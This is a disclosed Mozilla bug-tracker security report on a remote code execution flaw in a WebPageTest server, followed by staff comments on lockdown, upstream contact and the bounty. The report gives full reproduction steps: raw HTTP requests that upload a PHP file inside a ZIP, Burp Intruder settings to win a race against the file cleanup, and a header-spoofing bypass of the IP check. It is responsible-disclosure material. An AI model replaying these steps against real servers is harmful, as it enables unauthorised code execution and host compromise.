Closed Bug 1420520 Opened 4 years ago Closed 3 years ago

Remote Code Execution on and


(Cloud Services :: QA: Test Automation, defect)

Not set


(Not tracked)



(Reporter: shahshubham369, Unassigned)




(Keywords: sec-moderate, wsec-injection, Whiteboard: [reporter-external] [web-bounty-form] [verif?])


(6 files)

Hi team,

After finding the asset and, Mathais K ( and I obtained the source code and performed an audit. We were able to achieve remote command execution on this server/the newest version of WebPage Test.

The following steps detail how to exploit this vulnerability on The exact same steps can be followed in order to gain code execution on

# Part 1: Obtaining a valid test ID

1. Go to
2. Enter
3. Click "Start Test"

This will redirect you to a URL such as the following:

We now have a valid test ID: 171124_GW_9

# Part 2: Create a zip with the PHP file you want to execute on the server

For this example, I will be using the following script:


<?php phpinfo(); ?>

1. Create a phpinfo.php file with the contents <?php phpinfo(); ?>
2. Zip this file (i.e. `zip phpinfo.php`)

# Part 3: Exploiting an arbitrary file write

1. Paste the following HTTP request in Burp's Repeater:

POST /work/workdone.php?key=1&id=171124_GW_9 HTTP/1.1
Content-Length: 374
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBebbbk7QfDsfw1Nl
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3272.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,sv;q=0.8,da;q=0.7
Cookie: o=738b32e31614726cf4599078528935e2cb0ec1f6; tzo=60
Connection: close

Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/zip

{insert zip file here}

2. Highlight the text `{insert zip file here}`, right click, paste from file
3. Select the file created in part 2: ''

Don't send the request yet, we now have to setup the Intruder to send requests to our uploaded file at a really fast rate.

# Part 4: Initiate the intruder attack on Burp at 100 threads

1. Paste the following HTTP request into a Burp Intruder tab:

GET /results/17/11/24/GW/9/phpinfo.php?version=§§ HTTP/1.1
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: as=1; testOptions=3; runs=3; cfg=us-east-1:Chrome.Cable; u=1000; d=5000; l=28; p=0; tid=171124_AV_8; o=42f2e115b1302f85a03dfcf1ae555dda73e3b157; tzo=60
Connection: close


2. Click the "Payloads" tab
3. Set the payload type to "Numbers"
4. Set type to "Sequential"
5. Set `From` to 1, `To` to 1000000, and `Step` to 1
6. Click on the "Options" tab
7. Set the number of threads to 100
8. Start the intruder attack

# Part 5: Send the upload created in part 3

Keep on pressing the "Go" button in the repeater tab, while the intruder attack is running. Do this maybe 10 or 15 times, and then return to the Intruder window in Burp Suite.

Sort the intruder results by content length.

This will reveal a result containing the output of phpinfo()

(screenshots attached)
(phpinfo output attached too)


Technical explanation

Arbitrary File Upload via ZIP files:


Lines 133 - 136

      if (isset($_FILES['file']['tmp_name'])) {
        ExtractZipFile($_FILES['file']['tmp_name'], $testPath);


Deletion of "dangerous files"

Line 321



SecureDir Function

Line 2322 - 2347


* Make sure there are no risky files in the given directory and make everything no-execute
* @param mixed $path
function SecureDir($path) {
    $files = scandir($path);
    foreach ($files as $file) {
        $filepath = "$path/$file";
        if (is_file($filepath)) {
            $parts = pathinfo($file);
            $ext = strtolower($parts['extension']);
            if (strpos($ext, 'php') === false &&
                strpos($ext, 'pl') === false &&
                strpos($ext, 'py') === false &&
                strpos($ext, 'cgi') === false &&
                strpos($ext, 'asp') === false &&
                strpos($ext, 'js') === false &&
                strpos($ext, 'rb') === false &&
                strpos($ext, 'htaccess') === false &&
                strpos($ext, 'jar') === false) {
                @chmod($filepath, 0666);
            } else {
                @chmod($filepath, 0666);    // just in case the unlink fails for some reason
        } elseif ($file != '.' && $file != '..' && is_dir($filepath)) {


Since the SecureDir function occurs later during the code flow, we are able to exploit a race condition where the PHP files extracted to the webserver are temporarily accessible by the attacker. This leads to PHP code execution on the machine.

This is a 0day in WebPageTest and will require further co-ordination with their team. For the time being, I recommend enabling some sort of authentication for this host. This vulnerability can leads to a full compromise of the host ``.
Flags: sec-bounty?
Attached image Burp Intruder Request
Please let me know if you weren't able to follow the reproduction steps. If this is the case, I'll spend some time creating a python script that recreates this vulnerability in an automated fashion.

One thing to add to technical explanation: This script (/www/work/workdone.php line 103) is not supposed to be accessed from other sources than

!strcmp($_SERVER['REMOTE_ADDR'], "")

However there's a bug in /www/, line 70:


This allows a remote user to arbitrarily set $_SERVER["REMOTE_ADDR"] by sending the "FASTLY-CLIENT-IP" request header.
Thank you for the very detailed report. Redirecting to our QA team, who owns the service.
Karl: is this a critical service or can we lock it down while working on a fix?
Assignee: nobody → kthiessen
Group: websites-security → cloud-services-security
Component: Other → QA: Test Automation
Flags: needinfo?(kthiessen)
Product: Websites → Cloud Services
Security groups on both stacks have been locked down to prevent connection from the public internet.
:ulfr, locking this down is no problem while working on a fix.

Cc'ing Stephen Donner, who is (I believe) nominally in charge of this particular host.
Flags: needinfo?(kthiessen)
In case it helps: although it's not listed on, I actually have been using the instance exclusively for 4+ months (see

(Harald and :relud would have a much-better idea whom might still use
I asked relud to remove the vpn requirement as we were in a time crunch to create benchmark videos and needed to set up new test agents.

We used the services to produce the page load tests but don’t have further work planned at the moment that depends on webpagetest.
Shubham: Have you reported this vulnerability to the upstream project, and do you know if they fixed it?

Stephen: could this service be updated to the latest version?
I am in chatge of these hosts, with miles as my secondary. updating to the latest version should be automatic in dev, amd is simply a deploy in stage.
:ulfr - I have sent an encrypted email to the maintainer of WebPageTest with the details of this vulnerability. I am waiting on a response and will update this thread once I have heard back.
Hi :ulfr

I have not received any response from the maintainer after sending a PGP encrypted email.

Since this bug is no longer exploitable for Mozilla, could this be considered for a sec-bounty?

Closed: 3 years ago
Resolution: --- → FIXED
Flags: sec-bounty? → sec-bounty+

Hi :ulfr & :claudijd

I would like to write this bug up in a blog post. Can I please have permission to do so? I think the bug is interesting and can be disclosed responsibly since a year has passed. Appreciate it.


Assignee: kthiessen → nobody

Lifting the sec flag. Feel free to write blog posts about it.

Group: cloud-services-security
See Also: → 1550366
You need to log in before you can comment on or make changes to this bug.